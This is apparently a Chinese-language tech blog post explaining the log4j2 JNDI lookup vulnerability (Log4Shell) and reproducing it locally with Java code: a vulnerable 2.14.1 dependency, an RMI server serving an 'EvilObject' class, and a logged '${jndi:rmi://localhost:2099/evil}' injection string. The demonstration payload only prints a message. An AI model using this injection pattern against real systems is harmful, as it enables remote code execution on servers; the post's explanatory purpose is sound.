一夜之間到處都是 log4j2 的漏洞,公司的群裡也收到了緊急通知,要求立刻修複!修複方式相信大家都清楚,更新 log4j2 版本或者通過一些參數來禁用 lookup 功能等,就不過多叙述了,本文主要帶大家看一下這個漏洞到底是怎麼回事,通過代碼來簡單模拟下這個漏洞。
lookup 功能
log4j 提供了 lookup 功能,通過lookup 你可以在你的log4j 配置檔案中添加你的變量值。最簡單的你配置日志使用的日期格式 $${date:yyyy-MM} 就是通過date lookup 功能實作的。此外還有很多的lookup,比如 docker-lookup、env-lookup 等。
lookup 功能使得日志的配置更加靈活,但是提供的 Jndi lookup 卻暴露了重大的漏洞。
通過 jndi 你可以遠端通路很多服務或接口。比如 ldap 、 RMI、CORBA 等,jndi-lookup 結合 jndi 和 lookup 這就帶來了遠端不可控的風險。
下面就通過 RMI 來模拟本次漏洞。
準備工作
1. build.gradle 檔案,添加配置:
implementation group: 'org.apache.logging.log4j', name: 'log4j-api', version: '2.14.1'
implementation group: 'org.apache.logging.log4j', name: 'log4j-core', version: '2.14.1'
2. 通過RMI 暴露一個遠端惡意背景服務,并啟動
public class RemoteServer {
public static void main(String[] args) {
try {
System.out.println(System.getSecurityManager() == null);
if (System.getSecurityManager() == null) {
System.setSecurityManager(new SecurityManager());
}
LocateRegistry.createRegistry(2099);
Registry registry = LocateRegistry.getRegistry(2099);
Reference ref = new Reference("top.lovelily.remote.EvilObject", "top.lovelily.remote.EvilObject", null);
ReferenceWrapper remote = new ReferenceWrapper(ref);
registry.rebind("evil", remote);
System.out.println("啟動 RMI 服務端");
} catch (Exception e) {
e.printStackTrace();
}
}
}
遠端惡意代碼,很簡單就是執行一個靜态代碼塊:
public class EvilObject implements ObjectFactory {
static {
System.out.println("執行惡意代碼!");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
3. 下面模拟公司伺服器列印輸入參數
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class LocalServer {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String input = "${jndi:rmi://localhost:2099/evil}";
logger.info("hello1 {}", input);
}
}
由于使用者輸入是任意的,攻擊者寫好攻擊代碼後,惡意輸入代碼中内容。就會在本地伺服器執行遠端惡意代碼:

如果覺得還不錯的話,關注、分享、在看(關注不失聯~), 原創不易,且看且珍惜~